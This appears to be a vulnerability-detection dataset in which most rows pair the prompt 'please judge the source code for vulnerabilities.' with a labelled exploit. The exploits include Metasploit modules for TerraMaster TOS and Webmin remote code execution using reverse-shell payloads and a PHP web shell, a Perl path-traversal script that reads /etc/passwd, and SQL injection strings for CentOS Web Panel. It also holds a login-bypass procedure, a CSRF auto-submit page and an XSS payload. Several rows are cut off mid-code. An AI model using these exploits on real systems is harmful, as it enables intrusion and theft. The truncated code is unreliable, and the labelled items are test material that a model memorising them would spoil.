{<NEWLINE><single<underscore>quote>X<hyphen>Requested<hyphen>With<single<underscore>quote> => <single<underscore>quote>XMLHttpRequest<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => post<NEWLINE>})<NEWLINE>if !res<NEWLINE>fail<underscore>with(<double<underscore>quote>Server did not respond in an expected way<double<underscore>quote>)<NEWLINE>end<NEWLINE>if res.code == 500<NEWLINE>vprint<underscore>status(<double<underscore>quote>Got character <single<underscore>quote><double<underscore>quote>+c+<double<underscore>quote><single<underscore>quote> for index <double<underscore>quote> + i.to<underscore>s)<NEWLINE>ret << c<NEWLINE>break<NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>return ret<NEWLINE>end<NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | use LWP::Simple;<NEWLINE>$t = $ARGV[0];<NEWLINE>if(! $t) {usg();}<NEWLINE>$d = $ARGV[1];<NEWLINE>if(! $d) {$d = <double<underscore>quote><slash>etc<slash>passwd<double<underscore>quote>;}<NEWLINE>my $r = get(<double<underscore>quote>http:<slash><slash>$t<slash>web<slash>about<double<underscore>quote>) or exit;<NEWLINE>print <double<underscore>quote>[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote>[+] Target: $t<backslash>n<double<underscore>quote>;<NEWLINE>if ($r =~ m<slash><e2webifversion>(.*)<<backslash><slash>e2webifversion><slash>g){<NEWLINE>print <double<underscore>quote>[+] Image Version: $1<backslash>n<double<underscore>quote>;<NEWLINE>}<NEWLINE>if ($r =~ (m<slash>1.6.0|1.6.1|1.6.2|1.6.3|1.6.4|1.6.5|1.6.6|1.6.7|1.6.8|1.6rc3|1.7.0<slash>i)){<NEWLINE>print <double<underscore>quote>[+] Exploiting Enigma2 via type1 (file?file=$d)<backslash>n<double<underscore>quote>;<NEWLINE>result(exploit1());<NEWLINE>}<NEWLINE>if ($r =~ (m<slash>1.5rc1|1.5beta4<slash>i)){<NEWLINE>print <double<underscore>quote>[+] Exploiting Enigma2 via type2 (file<slash>?file=..<slash>..<slash>..<slash>..$d)<backslash>n<double<underscore>quote>;<NEWLINE>result(exploit2());<NEWLINE>}<NEWLINE>sub usg{<NEWLINE>print <double<underscore>quote><backslash>n[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote>[+] Usage: perl enigma2.pl <victim> <<slash>path<slash>file><backslash>n<double<underscore>quote>;<NEWLINE>exit;<NEWLINE>}<NEWLINE>sub exploit1{<NEWLINE>my $x = get(<double<underscore>quote>http:<slash><slash>$t<slash>file?file=$d<double<underscore>quote>);<NEWLINE>}<NEWLINE>sub exploit2{<NEWLINE>my $x = get(<double<underscore>quote>http:<slash><slash>$t<slash>file<slash>?file=..<slash>..<slash>..<slash>..$d<double<underscore>quote>);<NEWLINE>}<NEWLINE>sub result{<NEWLINE>my $x= shift;<NEWLINE>while(defined $x){<NEWLINE>print <double<underscore>quote>$x<backslash>n<double<underscore>quote>;<NEWLINE>print <double<underscore>quote>[+] I got it 4 cheap.. =)<backslash>n<double<underscore>quote>;<NEWLINE>exit;<NEWLINE>}} | 1 |
please judge the source code for vulnerabilities. | https:<slash><slash>{DOMAIN<underscore>NAME}:2031<slash>cwp<underscore>{SESSION<underscore>HASH}<slash>admin<slash>loader<underscore>ajax.php?ajax=dashboard&action=searchIn&term=a<single<underscore>quote><NEWLINE>AND (SELECT 1197 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT<NEWLINE>(ELT(1197=1197,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM<NEWLINE>INFORMATION<underscore>SCHEMA.PLUGINS GROUP BY x)a)<hyphen><hyphen> aRuO<NEWLINE>https:<slash><slash>{DOMAIN<underscore>NAME}:2031<slash>cwp<underscore>{SESSION<underscore>HASH}<slash>admin<slash>loader<underscore>ajax.php?ajax=dashboard&action=searchIn&term=a<single<underscore>quote><NEWLINE>OR SLEEP(5)<hyphen><hyphen> JCpP<NEWLINE>Centos<hyphen>Webpanel (http:<slash><slash>centos<hyphen>webpanel.com<slash>)<NEWLINE>CentOS Web Panel | Free Linux Web Hosting Control Panel<NEWLINE>Free CentOS Linux Web Hosting control panel designed for quick and easy<NEWLINE>management of (Dedicated & VPS) servers without of need to use ssh console<NEWLINE>for every little thing | 1 |
please judge the source code for vulnerabilities. | Product : CWP Control Web Panel<NEWLINE>Vulnerability Name : User panel bypass Login<NEWLINE>version : 0.9.8.836<NEWLINE>Fixed on : 0.9.8.848<NEWLINE>Test on : CentOS 7.6.1810 (Core)<NEWLINE>Reference : http:<slash><slash>centos<hyphen>webpanel.com<slash><NEWLINE>: https:<slash><slash>control<hyphen>webpanel.com<slash>changelog<NEWLINE>CVE<hyphen>Number : CVE<hyphen>2019<hyphen>13605<NEWLINE>After login success, the application will retuens base64 value and use it to authenticate again,<NEWLINE>That allow attacker to modify the response and become a user<NEWLINE><username>||<slash><username><slash>theme<slash>original<NEWLINE>1. Login with valid username and invalid password<NEWLINE>2. Replace the target username in <double<underscore>quote><username>||<slash><username><slash>theme<slash>original<double<underscore>quote><NEWLINE>3. Convert to base64<NEWLINE>4. Place the base64 value to HTTP response body<NEWLINE>5. Gain access to user area<NEWLINE>1. Create a testing environment<NEWLINE>1.1 Create user as a target username<NEWLINE>1.2 Login as the user<NEWLINE>1.3 Save the HTTP response body (token value)<NEWLINE>2. Login to the real target with valid username and invalid password<NEWLINE>3. Place the value we saved from step 1.3 in HTTP response body<NEWLINE>4. Gain access to user area<NEWLINE>*The response value format is depends on version, just replace the hole value<NEWLINE>https:<slash><slash>github.com<slash>i3umi3iei3ii<slash>CentOS<hyphen>Control<hyphen>Web<hyphen>Panel<hyphen>CVE<slash>blob<slash>master<slash>CVE<hyphen>2019<hyphen>13360.md<NEWLINE>https:<slash><slash>github.com<slash>i3umi3iei3ii<slash>CentOS<hyphen>Control<hyphen>Web<hyphen>Panel<hyphen>CVE<slash>blob<slash>master<slash>CVE<hyphen>2019<hyphen>13605.md<NEWLINE>2019<hyphen>07<hyphen>07: Discovered the bug<NEWLINE>2019<hyphen>07<hyphen>07: Reported to vendor<NEWLINE>2019<hyphen>07<hyphen>07: Vender accepted the vulnerability<NEWLINE>2019<hyphen>07<hyphen>11: The vulnerability has been fixed<NEWLINE>2019<hyphen>07<hyphen>15: Advisory published<NEWLINE>Pongtorn Angsuchotmetee | 1 |
please judge the source code for vulnerabilities. | class MetasploitModule < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <double<underscore>quote>TerraMaster TOS 4.2.06 <hyphen> Unauthenticated Remote Code Execution<double<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q(<NEWLINE>This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.<NEWLINE>The <double<underscore>quote>Event<double<underscore>quote> parameter in <double<underscore>quote>include<slash>makecvs.php<double<underscore>quote> contains a vulnerability.<NEWLINE><double<underscore>quote>filename<double<underscore>quote> is executing command on system during <double<underscore>quote>.csv<double<underscore>quote> creation.<NEWLINE>In order to do this, it is not necessary to have a session in the application.<NEWLINE>Therefore an unathenticated user can execute the command on the system.<NEWLINE>),<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Author<single<underscore>quote> =><NEWLINE>[<NEWLINE><single<underscore>quote>AkkuS <Özkan Mustafa Akkuş><single<underscore>quote>,<NEWLINE><single<underscore>quote>IHTeam<single<underscore>quote><NEWLINE>],<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>2020<hyphen><single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>http:<slash><slash>www.pentest.com.tr<slash>exploits<slash>TerraMaster<hyphen>TOS<hyphen>4<hyphen>2<hyphen>06<hyphen>Unauthenticated<hyphen>Remote<hyphen>Code<hyphen>Execution.html<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>www.ihteam.net<slash>advisory<slash>terramaster<hyphen>tos<hyphen>multiple<hyphen>vulnerabilities<slash><single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>unix<single<underscore>quote>,<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[<single<underscore>quote>Automatic<single<underscore>quote>, {}]],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <double<underscore>quote>Dec 12 2020<double<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0,<NEWLINE><single<underscore>quote>DefaultOptions<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>RPORT<single<underscore>quote> => 8181,<NEWLINE><single<underscore>quote>SSL<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>PAYLOAD<single<underscore>quote> => <single<underscore>quote>cmd<slash>unix<slash>reverse<underscore>perl<single<underscore>quote> }))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <double<underscore>quote>Base ERP directory path<double<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>])<NEWLINE>]<NEWLINE>)<NEWLINE>end<NEWLINE>def run<underscore>cmd(file,cmd)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE>{<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>ctype<single<underscore>quote> => <single<underscore>quote>application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote><NEWLINE><single<underscore>quote>data<single<underscore>quote> => <double<underscore>quote>cmd=<NEWLINE>})<NEWLINE>end<NEWLINE>def upload<underscore>shell<NEWLINE>sname = Rex::Text.rand<underscore>text<underscore>alpha<underscore>lower(8) + <double<underscore>quote>.php<double<underscore>quote><NEWLINE>payload<underscore>post = <double<underscore>quote>http|echo <backslash><double<underscore>quote><?php echo(passthru(<backslash><backslash>$<underscore>REQUEST[<single<underscore>quote>cmd<single<underscore>quote>]));?><backslash><double<underscore>quote> >> <slash>usr<slash>www<slash><NEWLINE>@b64p = Rex::Text.encode<underscore>base64(payload.encoded)<NEWLINE>perl<underscore>payload = <single<underscore>quote>bash <hyphen>c <double<underscore>quote>{echo,<single<underscore>quote> + <double<underscore>quote><NEWLINE>payload = Rex::Text.uri<underscore>encode(perl<underscore>payload)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote>include<double<underscore>quote>, <double<underscore>quote>makecvs.php<double<underscore>quote>),<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote>Event<single<underscore>quote> => <double<underscore>quote><NEWLINE>}<NEWLINE>)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote><NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => {<NEWLINE><single<underscore>quote>cmd<single<underscore>quote> => <single<underscore>quote>id<single<underscore>quote><NEWLINE>}<NEWLINE>)<NEWLINE>if res && res.code == 200 && res.body.include?(<single<underscore>quote>uid=<single<underscore>quote>)<NEWLINE>print<underscore>good(<double<underscore>quote>Upload completed successfully and command executed!<double<underscore>quote>)<NEWLINE>run<underscore>cmd(<double<underscore>quote><NEWLINE>else<NEWLINE>fail<underscore>with(Failure::NoAccess, <single<underscore>quote>Error occurred during uploading!<single<underscore>quote>)<NEWLINE>end<NEWLINE>end<NEWLINE>def exploit<NEWLINE>unless Exploit::CheckCode::Vulnerable == check<NEWLINE>fail<underscore>with(Failure::NotVulnerable, <single<underscore>quote>Target is not vulnerable.<single<underscore>quote>)<NEWLINE>end<NEWLINE>upload<underscore>shell<NEWLINE>end<NEWLINE>def check<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote>version<double<underscore>quote>),<NEWLINE>)<NEWLINE>if res && res.code == 200 && res.body<NEWLINE>version = res.body.split(<double<underscore>quote>.0<underscore><double<underscore>quote>)[1]<NEWLINE>print<underscore>status(<double<underscore>quote>Version : <double<underscore>quote> + res.body)<NEWLINE>return CheckCode::Detected if version.nil?<NEWLINE>version = version.split(<double<underscore>quote>.<double<underscore>quote>).join(<single<underscore>quote><single<underscore>quote>)<NEWLINE>if version <= <double<underscore>quote>4206<double<underscore>quote><NEWLINE>return CheckCode::Vulnerable<NEWLINE>else<NEWLINE>return CheckCode::Safe<NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | <html><NEWLINE><head><NEWLINE><title>CSRF POC<<slash>title><NEWLINE><<slash>head><NEWLINE><body><NEWLINE><form action=<double<underscore>quote>http:<slash><slash>geniuscript.com<slash>horse<hyphen>script<slash>index.php<slash>frontend<slash>myprofile<slash>en<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>name&<NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>username<double<underscore>quote> value=<double<underscore>quote>L0RD<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>password<double<underscore>quote> value=<double<underscore>quote>anything<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>password&<NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>address<double<underscore>quote> value=<double<underscore>quote>Cyro&<NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>description<double<underscore>quote> value=<double<underscore>quote>My&<NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>phone<double<underscore>quote> value=<double<underscore>quote>&<NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>mail<double<underscore>quote> value=<double<underscore>quote>lord&<NEWLINE><<slash>form><NEWLINE><script><NEWLINE>document.forms[0].submit();<NEWLINE><<slash>script><NEWLINE><<slash>body><NEWLINE><<slash>html> | 1 |
please judge the source code for vulnerabilities. | class MetasploitModule < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Webmin 1.962 <hyphen> Package Update Escape Bypass RCE (Metasploit)<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q(<NEWLINE>This module exploits an arbitrary command execution vulnerability in Webmin<NEWLINE>1.962 and lower versions. Any user authorized to the <double<underscore>quote>Package Updates<double<underscore>quote><NEWLINE>module can execute arbitrary commands with root privileges.<NEWLINE>It emerged by circumventing the measure taken for CVE<hyphen>2019<hyphen>12840.<NEWLINE>s<slash><backslash><backslash>(<hyphen>)|<backslash><backslash>(.)<slash>string<slash>g; escape is not enough for prevention.<NEWLINE>Therefore, since the package name variable is placed directly in the system command,<NEWLINE>we can manipulate it using some escape characters that HTTP supports.<NEWLINE>For example, we can escape control by dropping the command line down one line.<NEWLINE>We can do this with <double<underscore>quote>%0A<double<underscore>quote> and <double<underscore>quote>%0C<double<underscore>quote> urlencoded row values.Also, for paylad to work correctly,<NEWLINE>we must add double an ampersand(&&) to the end of the payload (%26%26)<NEWLINE>),<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => [<NEWLINE><single<underscore>quote>AkkuS <Özkan Mustafa Akkuş><single<underscore>quote><NEWLINE>],<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>CVE<hyphen>2020<hyphen>35606<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>www.pentest.com.tr<slash>exploits<slash>Webmin<hyphen>1962<hyphen>PU<hyphen>Escape<hyphen>Bypass<hyphen>Remote<hyphen>Command<hyphen>Execution.html<single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>DisableNops<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Space<single<underscore>quote> => 512,<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>PayloadType<single<underscore>quote> => <single<underscore>quote>cmd<single<underscore>quote><NEWLINE>}<NEWLINE>},<NEWLINE><single<underscore>quote>DefaultOptions<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>RPORT<single<underscore>quote> => 10000,<NEWLINE><single<underscore>quote>SSL<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>PAYLOAD<single<underscore>quote> => <single<underscore>quote>cmd<slash>unix<slash>reverse<underscore>perl<single<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>unix<single<underscore>quote>,<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[<single<underscore>quote>Webmin <= 1.962<single<underscore>quote>, {}]],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>2020<hyphen>12<hyphen>21<single<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0)<NEWLINE>)<NEWLINE>register<underscore>options [<NEWLINE>OptString.new(<single<underscore>quote>USERNAME<single<underscore>quote>, [true, <single<underscore>quote>Webmin Username<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>PASSWORD<single<underscore>quote>, [true, <single<underscore>quote>Webmin Password<single<underscore>quote>]),<NEWLINE>OptString.new(<single<underscore>quote>TARGETURI<single<underscore>quote>, [true, <single<underscore>quote>Base path for Webmin application<single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>])<NEWLINE>]<NEWLINE>end<NEWLINE>def peer<NEWLINE><double<underscore>quote><NEWLINE>end<NEWLINE>def login<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri, <single<underscore>quote>session<underscore>login.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <single<underscore>quote>testing=1<single<underscore>quote>,<NEWLINE><single<underscore>quote>vars<underscore>post<single<underscore>quote> => {<NEWLINE><single<underscore>quote>page<single<underscore>quote> => <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>user<single<underscore>quote> => datastore[<single<underscore>quote>USERNAME<single<underscore>quote>],<NEWLINE><single<underscore>quote>pass<single<underscore>quote> => datastore[<single<underscore>quote>PASSWORD<single<underscore>quote>]<NEWLINE>}<NEWLINE>})<NEWLINE>if res && res.code == 302 && res.get<underscore>cookies =~ <slash>sid=(<backslash>w+)<slash><NEWLINE>return $1<NEWLINE>end<NEWLINE>return nil unless res<NEWLINE><single<underscore>quote><single<underscore>quote><NEWLINE>end<NEWLINE>def check<NEWLINE>cookie = login<NEWLINE>return CheckCode::Detected if cookie == <single<underscore>quote><single<underscore>quote><NEWLINE>return CheckCode::Unknown if cookie.nil?<NEWLINE>vprint<underscore>status(<single<underscore>quote>Attempting to execute...<single<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote>sysinfo.cgi<double<underscore>quote>),<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote>sid=<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => { <double<underscore>quote>xnavigation<double<underscore>quote> => <double<underscore>quote>1<double<underscore>quote> }<NEWLINE>})<NEWLINE>if res && res.code == 302 && res.body<NEWLINE>version = res.body.split(<double<underscore>quote>Webmin 1.<double<underscore>quote>)[1]<NEWLINE>return CheckCode::Detected if version.nil?<NEWLINE>version = version.split(<double<underscore>quote> <double<underscore>quote>)[0]<NEWLINE>if version <= <double<underscore>quote>962<double<underscore>quote><NEWLINE>res = send<underscore>request<underscore>cgi({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <double<underscore>quote>package<hyphen>updates<slash><double<underscore>quote>),<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote>sid=<NEWLINE>})<NEWLINE>if res && res.code == 200 && res.body =~ <slash>Software Package Update<slash><NEWLINE>print<underscore>status(<double<underscore>quote>NICE!<NEWLINE>return CheckCode::Vulnerable<NEWLINE>end<NEWLINE>end<NEWLINE>end<NEWLINE>print<underscore>error(<double<underscore>quote><NEWLINE>print<underscore>status(<double<underscore>quote>Please try with another user account!<double<underscore>quote>)<NEWLINE>CheckCode::Safe<NEWLINE>end<NEWLINE>def exploit<NEWLINE>cookie = login<NEWLINE>if cookie == <single<underscore>quote><single<underscore>quote> || cookie.nil?<NEWLINE>fail<underscore>with(Failure::Unknown, <single<underscore>quote>Failed to retrieve session cookie<single<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>good(<double<underscore>quote>Session cookie:<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri, <single<underscore>quote>proc<single<underscore>quote>, <single<underscore>quote>index<underscore>tree.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>headers<single<underscore>quote> => { <single<underscore>quote>Referer<single<underscore>quote> => <double<underscore>quote><NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote>sid=<NEWLINE>)<NEWLINE>unless res && res.code == 200<NEWLINE>fail<underscore>with(Failure::Unknown, <single<underscore>quote>Request failed<single<underscore>quote>)<NEWLINE>end<NEWLINE>print<underscore>status(<double<underscore>quote>Attempting to execute the payload...<double<underscore>quote>)<NEWLINE>run<underscore>update(cookie)<NEWLINE>end<NEWLINE>def run<underscore>update(cookie)<NEWLINE>@b64p = Rex::Text.encode<underscore>base64(payload.encoded)<NEWLINE>perl<underscore>payload = <single<underscore>quote>bash <hyphen>c <double<underscore>quote>{echo,<single<underscore>quote> + <double<underscore>quote><NEWLINE>payload = Rex::Text.uri<underscore>encode(perl<underscore>payload)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE>{<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>POST<single<underscore>quote>,<NEWLINE><single<underscore>quote>cookie<single<underscore>quote> => <double<underscore>quote>sid=<NEWLINE><single<underscore>quote>ctype<single<underscore>quote> => <single<underscore>quote>application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => normalize<underscore>uri(target<underscore>uri.path, <single<underscore>quote>package<hyphen>updates<single<underscore>quote>, <single<underscore>quote>update.cgi<single<underscore>quote>),<NEWLINE><single<underscore>quote>headers<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>Referer<single<underscore>quote> => <double<underscore>quote><NEWLINE>},<NEWLINE><single<underscore>quote>data<single<underscore>quote> => <double<underscore>quote>redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C<NEWLINE>})<NEWLINE>end<NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | A Stored Cross Site Scripting vulnerability is found in the <double<underscore>quote>Package Name<double<underscore>quote> Field within the <single<underscore>quote>Add a Package (add<underscore>package)<single<underscore>quote> module. This is because the application does not properly sanitize the users input.<NEWLINE>1. Login into the CentOS Web Panel using admin credential.<NEWLINE>2. From Navigation Click on <double<underscore>quote>Packages<double<underscore>quote> <hyphen>> then Click on <double<underscore>quote>Add a Package<double<underscore>quote><NEWLINE>3. In <double<underscore>quote>Package Name<double<underscore>quote> field give payload as: <script>alert(1)<<slash>script> and provide other details and click on <double<underscore>quote>Create<double<underscore>quote><NEWLINE>4. Now again from Navigation Click on <double<underscore>quote>Packages<double<underscore>quote> <hyphen>> then Click on <double<underscore>quote>List Packages<double<underscore>quote><NEWLINE>5. Now one can see that the XSS Payload executed. | 1 |
please judge the source code for vulnerabilities. | .<underscore><underscore> <underscore><underscore><NEWLINE>| |<underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore><slash> |<underscore><NEWLINE>| | <backslash><backslash><underscore><underscore> <backslash> <slash> <backslash> <slash> <backslash><backslash><underscore><underscore> <backslash> <slash> <backslash><underscore><slash> <underscore><underscore> <backslash> <underscore><underscore><backslash><NEWLINE>| Y <backslash><slash> <underscore><underscore> <backslash>| Y Y <backslash> Y Y <backslash><slash> <underscore><underscore> <backslash>| Y Y <backslash> <underscore><underscore><underscore><slash>| |<NEWLINE>|<underscore><underscore><underscore>| (<underscore><underscore><underscore><underscore> <slash><underscore><underscore>|<underscore>| <slash><underscore><underscore>|<underscore>| (<underscore><underscore><underscore><underscore> <slash><underscore><underscore>|<underscore>| <slash><backslash><underscore><underscore><underscore> ><underscore><underscore>|<NEWLINE><backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash><NEWLINE>.<underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore> .<underscore><underscore><NEWLINE>|<underscore><underscore>| <underscore><underscore><underscore><underscore><underscore><slash> <underscore><underscore><underscore><underscore><backslash><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore> <underscore><slash> |<underscore>|<underscore><underscore>| <underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore> <underscore><underscore> <underscore><underscore><underscore><underscore><NEWLINE>| |<slash> <backslash> <underscore><underscore><backslash><slash> <underscore> <backslash><underscore> <underscore><underscore> <backslash><slash> <backslash><backslash><underscore><underscore> <backslash><backslash> <underscore><underscore><backslash> |<slash> <underscore><underscore><underscore><underscore><slash> | <backslash><underscore><slash> <underscore><underscore> <backslash><NEWLINE>| | | <backslash> | ( <<underscore>> ) | <backslash><slash> Y Y <backslash><slash> <underscore><underscore> <backslash>| | | < <<underscore>| | | <slash><backslash> <underscore><underscore><underscore><slash><NEWLINE>|<underscore><underscore>|<underscore><underscore><underscore>| <slash><underscore><underscore>| <backslash><underscore><underscore><underscore><underscore><slash>|<underscore><underscore>| |<underscore><underscore>|<underscore>| (<underscore><underscore><underscore><underscore> <slash><underscore><underscore>| |<underscore><underscore>|<backslash><underscore><underscore> |<underscore><underscore><underscore><underscore><slash> <backslash><underscore><underscore><underscore> ><NEWLINE><backslash><slash> <backslash><slash> <backslash><slash> |<underscore><underscore>| <backslash><slash><NEWLINE>.<underscore><underscore><NEWLINE><underscore><underscore><underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore><underscore> <underscore>|<underscore><underscore>| <underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore> <underscore><underscore><underscore><underscore><underscore><underscore><NEWLINE><slash> <underscore><underscore><underscore><slash><slash> <underscore><underscore> <backslash><underscore> <underscore><underscore> <backslash> <backslash><slash> <slash> |<slash> <underscore><underscore><underscore><backslash><slash> <underscore><underscore> <backslash> <slash> <underscore><underscore><underscore><slash><NEWLINE><backslash><underscore><underscore><underscore> <backslash><backslash> <underscore><underscore><underscore><slash>| | <backslash><slash><backslash> 